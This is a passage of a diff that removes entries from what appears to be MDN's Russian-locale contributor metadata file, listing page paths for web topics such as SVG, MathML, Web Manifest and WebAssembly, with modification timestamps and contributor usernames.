- "Web/Manifest/background_color": {
- "modified": "2020-10-15T22:28:08.267Z",
- "contributors": [
- "almaceleste",
- "chrisdavidmills"
- ]
- },
- "Web/Manifest/categories": {
- "modified": "2020-10-15T22:28:07.809Z",
- "contributors": [
- "almaceleste",
- "chrisdavidmills"
- ]
- },
- "Web/Manifest/description": {
- "modified": "2020-10-15T22:28:07.733Z",
- "contributors": [
- "almaceleste",
- "chrisdavidmills"
- ]
- },
- "Web/Manifest/dir": {
- "modified": "2020-10-15T22:28:08.586Z",
- "contributors": [
- "almaceleste",
- "chrisdavidmills"
- ]
- },
- "Web/Manifest/display": {
- "modified": "2020-10-15T22:28:07.850Z",
- "contributors": [
- "almaceleste",
- "chrisdavidmills"
- ]
- },
- "Web/Manifest/iarc_rating_id": {
- "modified": "2020-10-15T22:28:08.596Z",
- "contributors": [
- "almaceleste",
- "chrisdavidmills"
- ]
- },
- "Web/Manifest/icons": {
- "modified": "2020-10-15T22:28:09.358Z",
- "contributors": [
- "almaceleste",
- "chrisdavidmills"
- ]
- },
- "Web/Manifest/lang": {
- "modified": "2020-10-15T22:28:09.577Z",
- "contributors": [
- "almaceleste",
- "chrisdavidmills"
- ]
- },
- "Web/Manifest/name": {
- "modified": "2020-10-15T22:28:09.359Z",
- "contributors": [
- "almaceleste",
- "chrisdavidmills"
- ]
- },
- "Web/Manifest/orientation": {
- "modified": "2020-10-15T22:28:08.826Z",
- "contributors": [
- "almaceleste",
- "chrisdavidmills"
- ]
- },
- "Web/Manifest/prefer_related_applications": {
- "modified": "2020-10-15T22:28:08.735Z",
- "contributors": [
- "almaceleste",
- "chrisdavidmills"
- ]
- },
- "Web/Manifest/related_applications": {
- "modified": "2020-10-15T22:28:09.294Z",
- "contributors": [
- "almaceleste",
- "chrisdavidmills"
- ]
- },
- "Web/Manifest/scope": {
- "modified": "2020-10-15T22:28:09.050Z",
- "contributors": [
- "almaceleste",
- "chrisdavidmills"
- ]
- },
- "Web/Manifest/screenshots": {
- "modified": "2020-10-15T22:28:09.543Z",
- "contributors": [
- "almaceleste",
- "chrisdavidmills"
- ]
- },
- "Web/Manifest/serviceworker": {
- "modified": "2020-10-15T22:28:10.302Z",
- "contributors": [
- "almaceleste",
- "chrisdavidmills"
- ]
- },
- "Web/Manifest/short_name": {
- "modified": "2020-10-15T22:21:30.619Z",
- "contributors": [
- "almaceleste",
- "chrisdavidmills",
- "bershanskiy"
- ]
- },
- "Web/Manifest/start_url": {
- "modified": "2020-10-15T22:28:10.438Z",
- "contributors": [
- "almaceleste",
- "chrisdavidmills"
- ]
- },
- "Web/Manifest/theme_color": {
- "modified": "2020-10-15T22:28:10.250Z",
- "contributors": [
- "almaceleste",
- "chrisdavidmills"
- ]
- },
- "Web/MathML": {
- "modified": "2019-10-06T11:07:41.869Z",
- "contributors": [
- "valtaranets",
- "bsergey",
- "fider",
- "koska",
- "joemix"
- ]
- },
- "Web/MathML/Authoring": {
- "modified": "2019-03-23T22:08:43.986Z",
- "contributors": [
- "bsergey",
- "kimesik"
- ]
- },
- "Web/MathML/Element": {
- "modified": "2019-03-23T23:02:16.227Z",
- "contributors": [
- "bsergey",
- "splewako"
- ]
- },
- "Web/MathML/Element/maction": {
- "modified": "2020-10-15T22:14:19.571Z",
- "contributors": [
- "bsergey"
- ]
- },
- "Web/MathML/Element/math": {
- "modified": "2019-03-23T23:02:16.927Z",
- "contributors": [
- "Sykoku"
- ]
- },
- "Web/MathML/Element/menclose": {
- "modified": "2020-10-15T22:15:07.763Z",
- "contributors": [
- "bsergey"
- ]
- },
- "Web/MathML/Element/merror": {
- "modified": "2020-10-15T22:15:45.168Z",
- "contributors": [
- "bsergey"
- ]
- },
- "Web/MathML/Element/mfenced": {
- "modified": "2020-10-15T22:16:56.742Z",
- "contributors": [
- "bsergey"
- ]
- },
- "Web/MathML/Element/mglyph": {
- "modified": "2020-10-30T16:27:27.508Z",
- "contributors": [
- "d0rj"
- ]
- },
- "Web/MathML/Element/mn": {
- "modified": "2020-10-30T16:23:01.293Z",
- "contributors": [
- "d0rj"
- ]
- },
- "Web/MathML/Element/mstyle": {
- "modified": "2020-10-30T15:38:27.824Z",
- "contributors": [
- "d0rj"
- ]
- },
- "Web/MathML/Примеры": {
- "modified": "2020-11-23T14:28:54.743Z",
- "contributors": [
- "d0rj",
- "Mr_nektom",
- "Neir"
- ]
- },
- "Web/MathML/Примеры/Deriving_the_Quadratic_Formula": {
- "modified": "2019-03-18T21:18:54.194Z",
- "contributors": [
- "bsergey"
- ]
- },
- "Web/MathML/Примеры/MathML_Pythagorean_Theorem": {
- "modified": "2020-11-23T14:42:18.468Z",
- "contributors": [
- "d0rj",
- "bsergey",
- "humantom88"
- ]
- },
- "Web/Media": {
- "modified": "2020-02-16T05:07:41.773Z",
- "contributors": [
- "Sheppy"
- ]
- },
- "Web/Media/Formats": {
- "modified": "2020-02-16T05:07:42.083Z",
- "contributors": [
- "Sheppy"
- ]
- },
- "Web/Media/Formats/WebRTC_кодеки": {
- "modified": "2020-11-27T19:05:43.474Z",
- "contributors": [
- "nikolaifedorov",
- "mechtool"
- ]
- },
- "Web/Media/Formats/codecs_parameter": {
- "modified": "2020-03-16T06:34:09.362Z",
- "contributors": [
- "mechtool"
- ]
- },
- "Web/Performance": {
- "modified": "2020-04-21T12:10:15.645Z",
- "contributors": [
- "D.Lesnik",
- "chrisdavidmills"
- ]
- },
- "Web/Performance/CSS_JavaScript_animation_performance": {
- "modified": "2020-04-02T11:47:32.867Z",
- "contributors": [
- "D.Lesnik"
- ]
- },
- "Web/Performance/Critical_rendering_path": {
- "modified": "2020-03-30T19:35:11.484Z",
- "contributors": [
- "D.Lesnik"
- ]
- },
- "Web/Performance/How_browsers_work": {
- "modified": "2020-12-07T17:11:39.900Z",
- "contributors": [
- "SamTLT",
- "vlad-vorontsov",
- "D.Lesnik"
- ]
- },
- "Web/Performance/How_long_is_too_long": {
- "modified": "2020-05-15T10:59:03.931Z",
- "contributors": [
- "D.Lesnik"
- ]
- },
- "Web/Performance/Lazy_loading": {
- "modified": "2020-05-23T10:12:03.445Z",
- "contributors": [
- "mfranzke",
- "D.Lesnik"
- ]
- },
- "Web/Performance/Navigation_and_resource_timings": {
- "modified": "2020-04-02T11:43:41.543Z",
- "contributors": [
- "D.Lesnik"
- ]
- },
- "Web/Performance/Optimizing_startup_performance": {
- "modified": "2020-04-03T10:03:42.671Z",
- "contributors": [
- "D.Lesnik"
- ]
- },
- "Web/Performance/Performance_budgets": {
- "modified": "2020-04-06T12:41:24.362Z",
- "contributors": [
- "D.Lesnik"
- ]
- },
- "Web/Performance/Rum-vs-Synthetic": {
- "modified": "2020-04-17T19:39:30.304Z",
- "contributors": [
- "D.Lesnik"
- ]
- },
- "Web/Performance/Understanding_latency": {
- "modified": "2020-05-28T07:49:08.019Z",
- "contributors": [
- "D.Lesnik"
- ]
- },
- "Web/Performance/dns-prefetch": {
- "modified": "2020-06-18T07:05:15.014Z",
- "contributors": [
- "it4joy",
- "D.Lesnik"
- ]
- },
- "Web/Performance/Основы": {
- "modified": "2020-04-15T18:48:38.137Z",
- "contributors": [
- "D.Lesnik"
- ]
- },
- "Web/Performance/Производительность_анимации": {
- "modified": "2020-04-02T11:48:28.669Z",
- "contributors": [
- "D.Lesnik"
- ]
- },
- "Web/Progressive_web_apps": {
- "modified": "2019-04-20T03:25:44.859Z",
- "contributors": [
- "webmaxru",
- "chrisdavidmills",
- "ruslan_g02"
- ]
- },
- "Web/Progressive_web_apps/Installable_PWAs": {
- "modified": "2020-05-31T18:38:14.629Z",
- "contributors": [
- "AlexandrKoliukh",
- "chrisdavidmills",
- "WhiteApfel"
- ]
- },
- "Web/Progressive_web_apps/Заметный": {
- "modified": "2019-03-18T20:52:07.177Z",
- "contributors": [
- "chrisdavidmills",
- "ruslan_g02"
- ]
- },
- "Web/Reference": {
- "modified": "2019-03-18T20:37:11.659Z",
- "contributors": [
- "mmbl",
- "Shychara",
- "vostvesh",
- "AlexLog",
- "uri-uri222",
- "slaykovsky",
- "Nuzland"
- ]
- },
- "Web/Reference/API": {
- "modified": "2019-03-23T23:10:40.925Z",
- "contributors": [
- "olyaknyaz",
- "filutkie",
- "dimFora",
- "BychekRU",
- "varstt",
- "uleming",
- "AlexLog",
- "eb-gh-cr",
- "ARleKino",
- "Tihoem",
- "takto",
- "bariys18"
- ]
- },
- "Web/SVG": {
- "modified": "2019-11-01T15:48:17.103Z",
- "contributors": [
- "hisbvdis",
- "AdelNorberg",
- "Solj",
- "Roman-Kosov",
- "warsan",
- "dima74",
- "AlexeyFedotof",
- "romanalesenkov",
- "sputnik1986",
- "Mingun",
- "Dyvik"
- ]
- },
- "Web/SVG/Applying_SVG_effects_to_HTML_content": {
- "modified": "2019-04-10T04:51:15.356Z",
- "contributors": [
- "warsan"
- ]
- },
- "Web/SVG/Attribute": {
- "modified": "2019-03-23T23:20:13.909Z",
- "contributors": [
- "Solj",
- "Vasiliy.Poddubny",
- "BychekRU",
- "kscarfone"
- ]
- },
- "Web/SVG/Attribute/Core": {
- "modified": "2020-10-15T22:34:58.576Z",
- "contributors": [
- "osipov_s"
- ]
- },
- "Web/SVG/Attribute/additive": {
- "modified": "2019-03-23T22:07:14.939Z",
- "contributors": [
- "Solj",
- "warsan",
- "Vasiliy.Poddubny"
- ]
- },
- "Web/SVG/Attribute/attributeName": {
- "modified": "2019-09-17T04:44:27.460Z",
- "contributors": [
- "ekirpichyov",
- "Solj",
- "warsan",
- "theykillimmortal"
- ]
- },
- "Web/SVG/Attribute/attributeType": {
- "modified": "2019-03-23T22:07:14.824Z",
- "contributors": [
- "Solj",
- "warsan",
- "theykillimmortal",
- "Vasiliy.Poddubny"
- ]
- },
- "Web/SVG/Attribute/class": {
- "modified": "2019-03-23T22:24:12.240Z",
- "contributors": [
- "Vitaligo",
- "dmitron1036"
- ]
- },
- "Web/SVG/Attribute/cx": {
- "modified": "2019-03-18T21:39:26.378Z",
- "contributors": [
- "Solj",
- "AlexandrNikolaichev"
- ]
- },
- "Web/SVG/Attribute/cy": {
- "modified": "2019-03-18T21:39:30.503Z",
- "contributors": [
- "Solj",
- "AlexandrNikolaichev"
- ]
- },
- "Web/SVG/Attribute/d": {
- "modified": "2019-10-17T06:49:06.860Z",
- "contributors": [
- "andruhovski",
- "warsan",
- "vKuka",
- "annaSchugay"
- ]
- },
- "Web/SVG/Attribute/dur": {
- "modified": "2020-10-15T21:56:33.845Z",
- "contributors": [
- "ekirpichyov",
- "Solj",
- "theykillimmortal",
- "Vasiliy.Poddubny"
- ]
- },
- "Web/SVG/Attribute/end": {
- "modified": "2019-03-23T22:07:08.160Z",
- "contributors": [
- "Vasiliy.Poddubny"
- ]
- },
- "Web/SVG/Attribute/fill": {
- "modified": "2019-03-28T08:38:38.419Z",
- "contributors": [
- "boxa6",
- "Solj",
- "theykillimmortal",
- "Vasiliy.Poddubny"
- ]
- },
- "Web/SVG/Attribute/fill-opacity": {
- "modified": "2019-03-23T22:46:24.495Z",
- "contributors": [
- "Solj",
- "Mikke"
- ]
- },
- "Web/SVG/Attribute/fill-rule": {
- "modified": "2020-10-15T22:29:32.056Z",
- "contributors": [
- "ellizii"
- ]
- },
- "Web/SVG/Attribute/font-weight": {
- "modified": "2020-10-15T21:59:48.037Z",
- "contributors": [
- "boxa6",
- "kasperyan"
- ]
- },
- "Web/SVG/Attribute/id": {
- "modified": "2020-10-24T12:47:37.053Z",
- "contributors": [
- "osipov_s"
- ]
- },
- "Web/SVG/Attribute/keyTimes": {
- "modified": "2019-05-03T20:37:52.946Z",
- "contributors": [
- "DyominMV",
- "zzzunyazz",
- "Vasiliy.Poddubny"
- ]
- },
- "Web/SVG/Attribute/lang": {
- "modified": "2020-10-24T13:21:41.808Z",
- "contributors": [
- "osipov_s"
- ]
- },
- "Web/SVG/Attribute/lengthAdjust": {
- "modified": "2019-03-23T22:04:51.651Z",
- "contributors": [
- "theykillimmortal"
- ]
- },
- "Web/SVG/Attribute/letter-spacing": {
- "modified": "2019-03-23T22:09:36.832Z",
- "contributors": [
- "missis-sippi",
- "Solj",
- "theykillimmortal",
- "alex7852"
- ]
- },
- "Web/SVG/Attribute/lighting-color": {
- "modified": "2019-03-23T22:04:44.084Z",
- "contributors": [
- "Solj",
- "theykillimmortal"
- ]
- },
- "Web/SVG/Attribute/onload": {
- "modified": "2019-01-16T20:23:16.915Z",
- "contributors": [
- "maxportnyagin"
- ]
- },
- "Web/SVG/Attribute/overflow": {
- "modified": "2019-03-23T23:20:06.881Z",
- "contributors": [
- "Solj",
- "glizer",
- "torbasow"
- ]
- },
- "Web/SVG/Attribute/patternContentUnits": {
- "modified": "2019-03-23T22:06:23.667Z",
- "contributors": [
- "artemzwinger"
- ]
- },
- "Web/SVG/Attribute/r": {
- "modified": "2019-03-18T21:29:41.005Z",
- "contributors": [
- "igor-khramko"
- ]
- },
- "Web/SVG/Attribute/repeatCount": {
- "modified": "2019-03-23T22:24:33.265Z",
- "contributors": [
- "Solj",
- "VitaliiKotliar"
- ]
- },
- "Web/SVG/Attribute/rx": {
- "modified": "2019-09-27T12:00:57.972Z",
- "contributors": [
- "Solj"
- ]
- },
- "Web/SVG/Attribute/ry": {
- "modified": "2019-09-27T12:42:00.928Z",
- "contributors": [
- "Solj"
- ]
- },
- "Web/SVG/Attribute/shape-rendering": {
- "modified": "2019-03-23T23:20:17.223Z",
- "contributors": [
- "theykillimmortal",
- "BaNru"
- ]
- },
- "Web/SVG/Attribute/stop-color": {
- "modified": "2019-03-23T22:04:50.665Z",
- "contributors": [
- "theykillimmortal"
- ]
- },
- "Web/SVG/Attribute/stroke": {
- "modified": "2019-03-23T22:07:06.951Z",
- "contributors": [
- "Solj",
- "Vasiliy.Poddubny"
- ]
- },
- "Web/SVG/Attribute/stroke-dashoffset": {
- "modified": "2019-10-13T18:23:50.855Z",
- "contributors": [
- "warsan",
- "Solj",
- "maxnnn1900"
- ]
- },
- "Web/SVG/Attribute/stroke-linecap": {
- "modified": "2020-10-15T22:14:34.059Z",
- "contributors": [
- "warsan"
- ]
- },
- "Web/SVG/Attribute/stroke-width": {
- "modified": "2019-03-23T22:01:11.603Z",
- "contributors": [
- "Solj",
- "Snikard"
- ]
- },
- "Web/SVG/Attribute/text-anchor": {
- "modified": "2020-10-15T21:56:48.973Z",
- "contributors": [
- "mencerz",
- "warsan",
- "leonrom",
- "theykillimmortal"
- ]
- },
- "Web/SVG/Attribute/text-rendering": {
- "modified": "2019-03-23T23:20:14.491Z",
- "contributors": [
- "BaNru"
- ]
- },
- "Web/SVG/Attribute/transform": {
- "modified": "2019-03-23T22:46:36.351Z",
- "contributors": [
- "a1ip",
- "Solj",
- "Lexeii",
- "antisergey",
- "Aleksov"
- ]
- },
- "Web/SVG/Attribute/values": {
- "modified": "2019-03-23T22:06:49.462Z",
- "contributors": [
- "Vasiliy.Poddubny"
- ]
- },
- "Web/SVG/Attribute/viewBox": {
- "modified": "2020-07-17T23:39:00.663Z",
- "contributors": [
- "ialexi-bl",
- "dimitrius-brest",
- "annekorti",
- "pepsikat"
- ]
- },
- "Web/SVG/Attribute/width": {
- "modified": "2019-05-12T12:39:52.350Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/SVG/Attribute/x": {
- "modified": "2019-03-23T22:05:16.429Z",
- "contributors": [
- "Solj"
- ]
- },
- "Web/SVG/Attribute/xml:space": {
- "modified": "2019-03-23T22:23:51.290Z",
- "contributors": [
- "lautsevich"
- ]
- },
- "Web/SVG/Attribute/y": {
- "modified": "2019-03-23T22:05:20.840Z",
- "contributors": [
- "Solj"
- ]
- },
- "Web/SVG/SVG_1.1_Support_in_Firefox": {
- "modified": "2019-03-18T21:33:59.744Z",
- "contributors": [
- "warsan"
- ]
- },
- "Web/SVG/SVG_as_an_Image": {
- "modified": "2019-04-24T01:52:04.782Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/SVG/Tutorial": {
- "modified": "2020-08-16T23:33:41.513Z",
- "contributors": [
- "fqf",
- "Ivan961",
- "hisbvdis",
- "theykillimmortal",
- "dima74",
- "mboris1",
- "MaxManchak",
- "Eugene_Ishchenko"
- ]
- },
- "Web/SVG/Tutorial/Clipping_and_masking": {
- "modified": "2019-03-18T21:33:27.085Z",
- "contributors": [
- "theykillimmortal"
- ]
- },
- "Web/SVG/Tutorial/Fills_and_Strokes": {
- "modified": "2019-11-05T15:39:42.604Z",
- "contributors": [
- "hisbvdis",
- "valery-paschenkov",
- "tavira"
- ]
- },
- "Web/SVG/Tutorial/Filter_effects": {
- "modified": "2019-03-18T21:33:29.713Z",
- "contributors": [
- "theykillimmortal"
- ]
- },
- "Web/SVG/Tutorial/Getting_Started": {
- "modified": "2019-11-04T17:28:30.391Z",
- "contributors": [
- "hisbvdis",
- "alexbs",
- "warsan",
- "komuroe",
- "valery-paschenkov",
- "tavira",
- "mboris1",
- "Eugene_Ishchenko"
- ]
- },
- "Web/SVG/Tutorial/Gradients": {
- "modified": "2020-08-11T09:48:48.660Z",
- "contributors": [
- "wBureshGitHub",
- "u.gantimurov",
- "warsan",
- "valery-paschenkov",
- "tavira"
- ]
- },
- "Web/SVG/Tutorial/Other_content_in_SVG": {
- "modified": "2019-12-31T04:23:04.282Z",
- "contributors": [
- "ekirpichyov",
- "warsan"
- ]
- },
- "Web/SVG/Tutorial/Paths": {
- "modified": "2019-10-08T05:57:38.968Z",
- "contributors": [
- "hellvesper",
- "red5tart",
- "devfedorenko",
- "komuroe",
- "tavira",
- "sonnenhaft",
- "reflash",
- "riseremi",
- "mboris1",
- "scaint"
- ]
- },
- "Web/SVG/Tutorial/Patterns": {
- "modified": "2019-11-06T13:03:01.053Z",
- "contributors": [
- "hisbvdis",
- "warsan",
- "valery-paschenkov"
- ]
- },
- "Web/SVG/Tutorial/SVG_Image_Tag": {
- "modified": "2019-03-23T22:09:37.959Z",
- "contributors": [
- "x-in"
- ]
- },
- "Web/SVG/Tutorial/SVG_In_HTML_Introduction": {
- "modified": "2019-03-23T22:42:40.887Z",
- "contributors": [
- "chrisdavidmills",
- "warsan",
- "karpulix"
- ]
- },
- "Web/SVG/Tutorial/SVG_fonts": {
- "modified": "2019-03-18T21:33:26.235Z",
- "contributors": [
- "theykillimmortal"
- ]
- },
- "Web/SVG/Tutorial/Texts": {
- "modified": "2019-03-18T21:43:56.017Z",
- "contributors": [
- "theykillimmortal"
- ]
- },
- "Web/SVG/Tutorial/Tools_for_SVG": {
- "modified": "2019-06-06T06:15:16.270Z",
- "contributors": [
- "Evaphobia",
- "Roman-Kosov"
- ]
- },
- "Web/SVG/Tutorial/Базовые_Преобразования": {
- "modified": "2020-08-16T23:38:02.015Z",
- "contributors": [
- "fqf",
- "hisbvdis",
- "theykillimmortal",
- "andrewtk"
- ]
- },
- "Web/SVG/Tutorial/Введение": {
- "modified": "2020-08-11T13:52:37.344Z",
- "contributors": [
- "wBureshGitHub",
- "hisbvdis",
- "tcheburator",
- "alexbs",
- "Alianta",
- "Dizzy",
- "tavira",
- "mboris1",
- "nakhodkiin",
- "MaxManchak"
- ]
- },
- "Web/SVG/Tutorial/Основные_Фигуры": {
- "modified": "2019-03-23T22:33:02.983Z",
- "contributors": [
- "devfedorenko",
- "komuroe",
- "Dizzy",
- "AlexanderLevenskikh",
- "mboris1"
- ]
- },
- "Web/SVG/Tutorial/Позиции": {
- "modified": "2019-03-23T22:33:09.544Z",
- "contributors": [
- "Dizzy",
- "valery-paschenkov",
- "AlexanderLevenskikh",
- "mboris1"
- ]
- },
- "Web/SVG/Элемент": {
- "modified": "2019-03-23T23:05:44.353Z",
- "contributors": [
- "warsan",
- "BychekRU",
- "littleleshy",
- "Eugene_Ishchenko"
- ]
- },
- "Web/SVG/Элемент/<text>": {
- "modified": "2020-10-15T21:57:25.159Z",
- "contributors": [
- "boxa6",
- "warsan",
- "arturparkhisenko",
- "Evgenjnr"
- ]
- },
- "Web/SVG/Элемент/a": {
- "modified": "2020-10-15T21:31:40.250Z",
- "contributors": [
- "ekirpichyov",
- "boxa6",
- "bogdancdc",
- "Sebastianz",
- "AlexeyFedotof",
- "Eugene_Ishchenko"
- ]
- },
- "Web/SVG/Элемент/animate": {
- "modified": "2020-10-15T21:40:35.396Z",
- "contributors": [
- "boxa6",
- "wbamberg",
- "Sebastianz",
- "Eugene_Ishchenko"
- ]
- },
- "Web/SVG/Элемент/animateMotion": {
- "modified": "2020-10-15T22:06:06.145Z",
- "contributors": [
- "ekirpichyov",
- "warsan"
- ]
- },
- "Web/SVG/Элемент/circle": {
- "modified": "2020-10-15T21:41:44.986Z",
- "contributors": [
- "LonelyDutchhound",
- "boxa6",
- "wbamberg",
- "Sebastianz",
- "AlexeyFedotof",
- "littleleshy"
- ]
- },
- "Web/SVG/Элемент/defs": {
- "modified": "2020-10-15T22:02:01.863Z",
- "contributors": [
- "boxa6",
- "coshturnina"
- ]
- },
- "Web/SVG/Элемент/ellipse": {
- "modified": "2020-10-15T21:41:43.342Z",
- "contributors": [
- "ialexi-bl",
- "boxa6",
- "wbamberg",
- "Sebastianz",
- "littleleshy"
- ]
- },
- "Web/SVG/Элемент/feBlend": {
- "modified": "2020-10-15T22:27:27.749Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/SVG/Элемент/foreignObject": {
- "modified": "2020-10-15T22:16:25.096Z",
- "contributors": [
- "warsan"
- ]
- },
- "Web/SVG/Элемент/g": {
- "modified": "2020-10-15T21:43:10.879Z",
- "contributors": [
- "Anonymous",
- "boxa6",
- "dek4nice",
- "Sebastianz",
- "vaut",
- "littleguga",
- "AlexeyFedotof"
- ]
- },
- "Web/SVG/Элемент/image": {
- "modified": "2020-11-27T18:39:02.137Z",
- "contributors": [
- "robert491",
- "boxa6",
- "Sebastianz",
- "AlexeyFedotof"
- ]
- },
- "Web/SVG/Элемент/line": {
- "modified": "2020-10-15T21:43:08.477Z",
- "contributors": [
- "boxa6",
- "konstcos",
- "Sebastianz",
- "AlexeyFedotof"
- ]
- },
- "Web/SVG/Элемент/linearGradient": {
- "modified": "2020-10-15T22:03:43.312Z",
- "contributors": [
- "boxa6",
- "warsan"
- ]
- },
- "Web/SVG/Элемент/path": {
- "modified": "2020-10-15T21:43:09.343Z",
- "contributors": [
- "Solj",
- "warsan",
- "Sebastianz",
- "samufa"
- ]
- },
- "Web/SVG/Элемент/pattern": {
- "modified": "2020-10-15T22:14:34.421Z",
- "contributors": [
- "boxa6",
- "warsan"
- ]
- },
- "Web/SVG/Элемент/polygon": {
- "modified": "2020-10-15T22:06:44.273Z",
- "contributors": [
- "aak74",
- "boxa6",
- "bogdancdc"
- ]
- },
- "Web/SVG/Элемент/radialGradient": {
- "modified": "2020-10-15T22:03:44.433Z",
- "contributors": [
- "boxa6",
- "warsan"
- ]
- },
- "Web/SVG/Элемент/rect": {
- "modified": "2020-10-15T21:32:22.045Z",
- "contributors": [
- "boxa6",
- "wbamberg",
- "warsan",
- "VitaliiKotliar",
- "Sebastianz",
- "xalz"
- ]
- },
- "Web/SVG/Элемент/svg": {
- "modified": "2020-10-15T22:31:04.274Z",
- "contributors": [
- "kve1989"
- ]
- },
- "Web/SVG/Элемент/use": {
- "modified": "2020-10-15T22:24:14.813Z",
- "contributors": [
- "hisbvdis"
- ]
- },
- "Web/Security": {
- "modified": "2019-11-20T21:39:44.381Z",
- "contributors": [
- "wbamberg",
- "SphinxKnight",
- "pepelsbey",
- "Tihoem",
- "Sheppy"
- ]
- },
- "Web/Security/CSP": {
- "modified": "2019-03-23T23:04:20.797Z",
- "contributors": [
- "sivashev",
- "Aleksej",
- "Tihoem"
- ]
- },
- "Web/Security/Information_Security_Basics": {
- "modified": "2019-03-18T20:42:08.077Z",
- "contributors": [
- "Frisle"
- ]
- },
- "Web/Security/Same-origin_policy": {
- "modified": "2020-10-20T11:28:42.439Z",
- "contributors": [
- "niklimoff01",
- "hisbvdis",
- "WhiteApfel",
- "iamvector",
- "vladlipski",
- "ZVanoZ"
- ]
- },
- "Web/Security/Securing_your_site": {
- "modified": "2019-12-18T06:44:18.277Z",
- "contributors": [
- "mfuji09"
- ]
- },
- "Web/Security/Securing_your_site/Turning_off_form_autocompletion": {
- "modified": "2019-12-18T06:44:21.121Z",
- "contributors": [
- "KolesnikovR"
- ]
- },
- "Web/Tutorials": {
- "modified": "2019-10-02T16:11:49.043Z",
- "contributors": [
- "Termaro",
- "mmbl",
- "ukrlex01",
- "rhiter",
- "anastasiya-solodkaya",
- "GraceAredel",
- "Tihoem",
- "uleming",
- "Steln",
- "aleks_root"
- ]
- },
- "Web/WebAPI": {
- "modified": "2019-03-25T10:51:55.253Z",
- "contributors": [
- "boxa6",
- "andreybakhishev",
- "wbamberg",
- "fscholz",
- "Cyemka"
- ]
- },
- "Web/Web_Components": {
- "modified": "2020-09-03T10:16:00.956Z",
- "contributors": [
- "m.tven18",
- "Loosefer",
- "Akh-rman",
- "shmel115",
- "newbornfrontender",
- "Peccansy",
- "alinofka",
- "curdwithraisins",
- "dmitrykurmanov",
- "Kalita-Roman"
- ]
- },
- "Web/Web_Components/HTML_Imports": {
- "modified": "2019-03-18T21:40:10.986Z",
- "contributors": [
- "PaulineNemchak"
- ]
- },
- "Web/Web_Components/Использование_пользовательских_элементов": {
- "modified": "2020-01-05T09:04:07.966Z",
- "contributors": [
- "Anonymous",
- "BurkovBA",
- "curtdp",
- "curdwithraisins"
- ]
- },
- "Web/XML": {
- "modified": "2019-03-24T13:24:33.354Z"
- },
- "Web/XML/XML_introduction": {
- "modified": "2019-03-25T08:08:08.506Z",
- "contributors": [
- "boxa6"
- ]
- },
- "Web/XPath": {
- "modified": "2019-01-16T14:55:34.456Z",
- "contributors": [
- "ExE-Boss",
- "wbamberg",
- "teoli",
- "Android"
- ]
- },
- "Web/XPath/Funkcje": {
- "modified": "2019-01-16T14:55:44.176Z",
- "contributors": [
- "ExE-Boss",
- "wbamberg",
- "teoli",
- "Android"
- ]
- },
- "Web/XPath/Funkcje/floor": {
- "modified": "2019-01-16T14:55:28.337Z",
- "contributors": [
- "ExE-Boss",
- "Android"
- ]
- },
- "Web/XSLT": {
- "modified": "2019-03-23T23:58:47.674Z",
- "contributors": [
- "niktariy",
- "ExE-Boss",
- "teoli",
- "iliacmd"
- ]
- },
- "WebAssembly": {
- "modified": "2020-10-15T22:05:07.172Z",
- "contributors": [
- "sharpist",
- "deadblackclover",
- "vkorniiko",
- "warsan",
- "thatlldo"
- ]
- },
- "WebAssembly/C_to_wasm": {
- "modified": "2019-03-18T21:33:56.809Z",
- "contributors": [
- "thatlldo"
- ]
- },
- "WebAssembly/Concepts": {
- "modified": "2019-03-18T21:10:19.900Z",
- "contributors": [
- "vkorniiko"
- ]
- },
- "WebAssembly/Exported_functions": {
- "modified": "2020-03-04T19:06:28.386Z",
- "contributors": [
- "amuzalevskiy",
- "thatlldo"
- ]
- },
- "WebAssembly/Loading_and_running": {
- "modified": "2019-06-12T11:14:54.085Z",
- "contributors": [
- "deadblackclover"
- ]
- },
- "WebAssembly/Rust_to_wasm": {
- "modified": "2020-06-11T14:27:31.970Z",
- "contributors": [
- "DuckerMan",
- "idkravitz",
- "dlukanin",
- "curdwithraisins",
- "VLDSLW"
- ]
- },
- "WebAssembly/Understanding_the_text_format": {
- "modified": "2019-03-18T21:09:18.859Z",
- "contributors": [
- "vkorniiko"
- ]
- },
- "WebAssembly/Using_the_JavaScript_API": {
- "modified": "2019-06-12T07:08:20.267Z",
- "contributors": [
- "deadblackclover",
- "vkorniiko"
- ]
- },
- "WebSockets": {
- "modified": "2020-10-15T21:24:23.136Z",
- "contributors": [
- "YozhEzhi",
- "Sajag",
- "RusinovAnton",
- "zarkone",
- "uleming",
- "LOVEBOYS"
- ]
- },
- "WebSockets/Writing_WebSocket_client_applications": {
- "modified": "2019-03-23T23:26:56.301Z",
- "contributors": [
- "Anaind",
- "DirectX",
- "ilya_khaustov"
- ]
- },
- "Web_Development/Mobile": {
- "modified": "2019-03-23T23:27:06.077Z",
- "contributors": [
- "wbamberg"
- ]
- },
- "Web_Development/Mobile/Responsive_design": {
- "modified": "2019-03-23T23:27:07.759Z",
- "contributors": [
- "ArsenBespalov"
- ]
- },
- "XMLHttpRequest": {
- "modified": "2019-03-24T00:11:01.706Z",
- "contributors": [
- "denpatin",
- "dehero",
- "teoli",
- "torbasow",
- "TotalAMD",
- "shergin",
- "Bzbarsky",
- "Atzkey",
- "Apparition"
- ]
- },
- "XML_in_Mozilla": {
- "modified": "2019-01-16T14:53:06.925Z",
- "contributors": [
- "nsvsergey"
- ]
- },
- "XPCNativeWrapper": {
- "modified": "2019-03-24T00:02:27.014Z",
- "contributors": [
- "fscholz",
- "Dionys"
- ]
- },
- "XPCOM": {
- "modified": "2019-01-16T14:04:32.944Z",
- "contributors": [
- "teoli",
- "caiiiycuk",
- "bill.gates"
- ]
- },
- "Веб-разработка": {
- "modified": "2019-03-24T00:00:53.915Z",
- "contributors": [
- "Dionys"
- ]
- },
- "Веб-стандарты": {
- "modified": "2019-03-24T00:00:23.706Z",
- "contributors": [
- "Marat",
- "Protopopulus"
- ]
- },
- "Вопросы_без_ответов": {
- "modified": "2019-03-23T23:58:57.825Z",
- "contributors": [
- "glukin"
- ]
- },
- "Динамически_изменяемый_пользовательский_интерфейс_на_XUL": {
- "modified": "2019-06-25T10:50:01.432Z",
- "contributors": [
- "teoli",
- "kup",
- "Megapotz"
- ]
- },
- "Доступность": {
- "modified": "2019-01-16T14:51:09.522Z",
- "contributors": [
- "Sheppy",
- "vilky",
- "Cobalt747"
- ]
- },
- "Заголовок_ссылки": {
- "modified": "2019-03-23T23:43:21.855Z",
- "contributors": [
- "Sheppy",
- "Doctor Baaz"
- ]
